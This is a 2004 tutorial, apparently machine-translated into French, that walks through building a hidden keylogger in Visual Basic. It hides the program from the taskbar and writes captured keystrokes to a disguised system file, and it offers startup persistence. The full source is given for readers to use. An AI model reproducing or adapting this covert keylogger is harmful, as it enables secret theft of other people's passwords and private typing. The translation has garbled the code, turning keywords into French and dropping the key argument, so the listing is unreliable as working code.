La création d'un Enregistreur de frappe en VB

Ok...je suis en supposant que vous avez une compréhension de base de la façon dont visual basic fonctionne et comment rendre les programmes, de débogage et de compilation. Si pas, écrivez-moi et je pourrais être en mesure de vous aider.

Tout d'abord, si vous ne l'avez pas, il se. ApiGuide. Télécharger http://www.mentalis.org/agnet/apiguide.shtml

Ok. Ouvrez visual basic et de commencer une nouvelle application. Ajouter à la forme d'un bouton, d'une minuterie et d'un module(je sais que le module ne fait pas partie de la forme). C'est tout. Le changement de la légende du bouton pour Démarrer l'enregistrement
(si vous souhaitez le faire démarrer au démarrage...pm moi ou écrivez-moi)
Maintenant, en utilisant l'api guide ou tout simplement de la copie à partir d'ici, déclarer une nouvelle fonction. le GetASyncKeyState fonction

Déclarer une Fonction GetAsyncKeyState Lib "user32" Alias "GetAsyncKeyState"


(ByVal vKey as Long) as Integer

^---mettre ça dans la section déclarations du module.

C'est sur une seule ligne de code. Assurez-vous que sa comme ça. et pas diviser en 2.

Vous avez maintenant une nouvelle fonction à utiliser dans votre programme.
ok...
maintenant, nous devons le rendre "invisible". Maintenant, je suis désolé mais dans Windows XP, je ne sais pas comment le supprimer de la section "processus" du Gestionnaire des Tâches. Mais qui d'Autre que...son invisible.

OK. Dans le code du bouton..., dans l'événement click de cours...
tapez le texte suivant

app.taskvisible = false


form1.visible = false


form1.masquer


timer1.enabled = true








"et aussi dans la section propriétés de la forme...changer le shownintaskbar à false

Maintenant, quand on clique sur le bouton...il devient invisible.

Maintenant, nous allons avoir besoin de quelques variables....
De retour dans la section de déclarations de déclarer ce qui suit...

Dim strLetter comme une Chaîne de caractères, strTotal comme une Chaîne de caractères

Maintenant dans le code timer mettre cela. Mal expliquer par la suite.
régler l'intervalle de 1 et enabled à false

Private Sub Timer1_Timer()





Pour I = 28 À 128





Si GetAsyncKeyState <> 0 Alors





strLetter = Chr(I)








"Maintenant, ici, vous pouvez ajouter certaines choses


"de sorte que, au lieu d'afficher


retardée des personnages, ça vous dit


'ce que l'utilisateur a appuyé. Ce que je veux dire


'si elles appuyez sur Entrée/Retour, il sera


"Afficher un étrange boîte. Vous ne voulez pas que


'so u faire un select case sur I pour chaque


bouton u souhaitez personnaliser. Envoyez-moi un MP ou e-Mail


moi pour obtenir de l'aide sur cette partie.








strTotal = strTotal & strLetter








Fin De Si





Ensuite, J'Ai





ouvrir "C:\Windows\SysResources.DAT" for output as #1


Print #1, strTotal


fermer #1





End Sub








"La Fin Du Code

Maintenant, tout ce que vous avez à faire est lorsque vous voulez vérifier les touches pressées, à ouvrir C:\Windows\SysResource.DAT dans le bloc-notes, et il est là. Ce programme ne s'exécute pas au démarrage. Si vous voulez savoir comment faire, envoyez-moi un MP, mais de préférence par email moi. Je préférerais de beaucoup avoir vous m'ajouter à Msn Messenger. Mon e-mail pour messenger est... Black_viper_13@hotmail.com
Mon e-mail pour envoyer des mails est..... Anarchist_ninja_thief@hotmail.com.

Espérons que cette aide!
Voici l'intégralité de codage pour les lamers...

"DÉBUT





Dim strLetter Comme une Chaîne de caractères, strTotal Comme une Chaîne de caractères, vieux comme une chaîne de caractères





Private Sub Command1_Click()


Timer1.Enabled = True


End Sub





Private Sub Form_Load()


Command1.Caption = "Démarrer Loggin"


Timer1.Enabled = False


Timer1.Intervalle = 1


End Sub





Private Sub Timer1_Timer()


Pour I = 28 À 128 'code ASCII


Si GetAsyncKeyState <> 0 Alors


strLetter = Chr(I)


Fin De Si


Si strletter <> Vieux


Vieux = strletter


strTotal = strTotal & vieux


Fin De Si


Ensuite, J'Ai


Ouvrir "C:\windows\SysResources.dat" For Output As #1


Print #1, strTotal


Fermer #1


End Sub





"Mettre FIN à

je pense que c'est d'ailleurs le Module de cours.
Date de publication: 2004-05-20